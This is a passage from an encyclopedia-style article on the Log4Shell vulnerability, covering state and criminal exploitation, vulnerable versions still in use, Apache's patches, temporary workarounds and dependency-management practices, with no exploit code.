State-sponsored actors linked to Iran exploited Log4Shell (CVE-2021-44228) to target U.S. federal systems, including a breach of a federal civilian executive branch agency where Iranian hackers deployed cryptocurrency miners following initial access via the vulnerability.[40] Iranian advanced persistent threat (APT) groups, such as those affiliated with the Islamic Revolutionary Guard Corps, conducted reconnaissance and exploitation attempts on publicly exposed Java applications to facilitate data exfiltration and persistence, often in pursuit of espionage against Israeli and U.S. targets.[41][42] Similarly, Chinese state-affiliated actors leveraged the vulnerability for initial access in espionage campaigns, with intelligence observations confirming exploitation attempts shortly after disclosure on December 9, 2021.[19][43] Criminal actors, including ransomware operators, integrated Log4Shell into their toolkits for opportunistic initial access, scanning vulnerable servers to deploy payloads such as Cobalt Strike beacons for command-and-control and lateral movement.[44] These groups prioritized high-value targets like enterprise applications, using the exploit to facilitate ransomware deployment, though attribution to specific ransomware families like Conti or LockBit remains indirect through shared infrastructure in underground forums.[45] Cryptocurrency miners were also observed as secondary payloads in criminal exploit chains, particularly in unpatched environments, enabling profit-driven resource hijacking post-compromise.[46] Despite widespread scanning—exceeding billions of attempts globally in the weeks following disclosure—successful exploitations by both state and criminal actors post-patching remained empirically low, attributed to rapid vendor updates, network segmentation, and endpoint detection limiting payload execution rates to under 1% of probes in monitored environments.[18] This contrasts with initial hype around catastrophic potential, as intelligence reports from firms like Mandiant and CrowdStrike noted that defensive measures disrupted most chains, with confirmed intrusions confined to a fraction of exposed assets.[43]Persistent Vulnerabilities Post-Patch
As of December 2024, approximately 12% of Java applications continue to run vulnerable versions of the Log4j library, exposing them to Log4Shell exploitation, according to analysis by Contrast Security. Similarly, Sonatype reported that 13% of active Log4j installations and downloads in 2024 involved known vulnerable versions, despite fixes being available for over 94% of such components.[47][48] These figures reflect scans of production environments and open-source repositories, highlighting the incomplete remediation three years after disclosure. The persistence stems primarily from legacy enterprise applications where Log4j is deeply embedded across multilayered dependencies, complicating identification and upgrades without risking operational disruptions. Critical vulnerabilities like Log4Shell have taken over 500 days on average to remediate in many cases, with 80% of application dependencies remaining un-updated for more than a year, even when patches exist. Limited visibility exacerbates this, as uneven adoption of software bills of materials (SBOMs)—with nearly half of organizations falling behind on implementation—hampers tracking of transitive dependencies and hidden components.[49][48][50] Exploitation attempts against unpatched instances continued into 2024 and early 2025, including opportunistic campaigns using obfuscated LDAP requests for reconnaissance and persistence, as well as over 4,000 probes per application detected in November 2024. The U.S. Cybersecurity and Infrastructure Security Agency (CISA) listed Log4Shell among the top 15 most exploited vulnerabilities of 2023, with ongoing scans by threat actors targeting exposed services. However, the severity of successful breaches has diminished in modern environments due to layered defenses, such as runtime application self-protection and web application firewalls, which block JNDI lookups even in vulnerable setups.[47][51][52]Mitigation Strategies
Official Patches and Updates
Apache Software Foundation released Log4j version 2.15.0 on December 9, 2021, as the initial patch for CVE-2021-44228, which implemented a default denial of JNDI lookups in log messages to mitigate remote code execution via LDAP and similar protocols.[53] [1] However, this fix had limitations, as it did not fully block JNDI lookups in certain contexts like message lookups or threaded contexts, allowing potential exploitation through non-LDAP protocols such as RMI or DNS.[3] In response to newly identified issues in 2.15.0 (CVE-2021-45046), Apache issued Log4j 2.16.0 on December 14, 2021, expanding protections by blocking all JNDI lookups by default regardless of context and removing the JndiLookup class from the default classpath.[3] [10] This version addressed denial-of-service risks and further variants but still required full upgrades for comprehensive mitigation, as configuration-based allowances could reintroduce vulnerabilities if not strictly managed.[54] Subsequent releases, including Log4j 2.17.0 on December 17, 2021, provided additional hardening against related denial-of-service flaws (CVE-2021-45105) via recursive lookup protections and were deemed sufficient to resolve the core Log4Shell issues for Java 8 and later environments.[3] For legacy Java versions, parallel branches like 2.12.3 (January 2022) and later offered equivalent fixes.[2] Apache emphasized upgrading to the latest versions over temporary configuration changes, noting that partial mitigations like settinglog4j2.formatMsgNoLookups=true were unreliable against sophisticated attacks and did not address all exploitation vectors.[14]
Follow-up patches, such as 2.17.1 (December 28, 2021) for CVE-2021-44832 and ongoing releases through 2022, ensured coverage of variant exploits involving serialized data or custom configurations, with verification recommended via CVE databases and official changelogs. [13] Affected users were advised to scan dependencies using tools like Maven or Gradle to confirm upgrades, as incomplete patching left systems exposed to persistent threats despite early fixes.[3]
Temporary Workarounds
One primary temporary workaround involves configuring Log4j 2 to disable JNDI lookups within log message formatting by setting the system propertylog4j2.formatMsgNoLookups=true, which can be applied via JVM startup flags such as -Dlog4j2.formatMsgNoLookups=true or the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS=true.[55][56] This prevents the exploitation vector where attacker-controlled input in log messages triggers remote JNDI lookups leading to remote code execution, as observed in CVE-2021-44228.[11] Effectiveness relies on the property propagating to all affected Log4j instances in the application classpath, particularly for versions 2.0 through 2.14.1, though it does not address non-message-based lookups or subsequent variants like CVE-2021-45046.[3]
At the network level, organizations implemented firewall rules to block outbound connections from affected servers to common JNDI protocols such as LDAP (ports 389/636), RMI (ports 1099/1098), and DNS, thereby interrupting the payload retrieval phase of attacks even if initial lookups occur.[11] This approach provided empirical containment in environments where application restarts were infeasible, as evidenced by reduced exploit success rates in scanned infrastructures during the vulnerability's peak disclosure period in December 2021.[57]
These measures entail trade-offs, including potential minor performance degradation from disabled message lookup optimizations—though quantified impacts were generally negligible in benchmarks—and incomplete coverage against bypass techniques or Log4j configurations bypassing the flag, necessitating complementary monitoring for anomalous outbound traffic.[58][59] They served as stopgap defenses for legacy or unpatchable systems but deferred full remediation risks to patching.[60]
Dependency Management Practices
Software dependency management practices emphasize achieving comprehensive visibility into third-party components, including transitive dependencies, to preempt vulnerabilities akin to Log4Shell (CVE-2021-44228), which often propagated indirectly through libraries like Apache Log4j.[61] Transitive dependencies, pulled in automatically by direct ones, amplified Log4Shell's reach, underscoring the need for explicit controls rather than relying on default resolution mechanisms.[62] A foundational practice is adopting a Software Bill of Materials (SBOM), an inventory listing all software components, their versions, and relationships, which enables organizations to map and assess risks from embedded libraries like Log4j without manual auditing.[63] SBOMs facilitate quicker triage during vulnerability disclosures by highlighting affected elements in complex supply chains.[64] Automated scanning tools, such as OWASP Dependency-Check, integrate into build processes to detect known vulnerabilities by cross-referencing dependencies against databases like the National Vulnerability Database (NVD).[65] This tool proved effective in identifying Log4j exposures during the incident, generating reports on common platform enumeration (CPE) matches for CVEs.[8] To counter transitive risks, version pinning declares exact dependency versions in manifests (e.g., via Maven's<version> tags or Gradle's constraints), preventing automatic upgrades to unvetted releases that might introduce flaws.[66] For Log4j cases, pinning overrides vulnerable transitive pulls, as seen in Gradle configurations enforcing safe versions across the dependency graph.[67]
Incorporating these into continuous integration/continuous deployment (CI/CD) pipelines ensures routine scans and updates, with tools enforcing policy checks before deployment.[68] Post-Log4Shell evaluations highlight that mature software composition analysis (SCA) implementations correlate with faster vulnerability detection and fewer persistent exposures in production environments.[69]
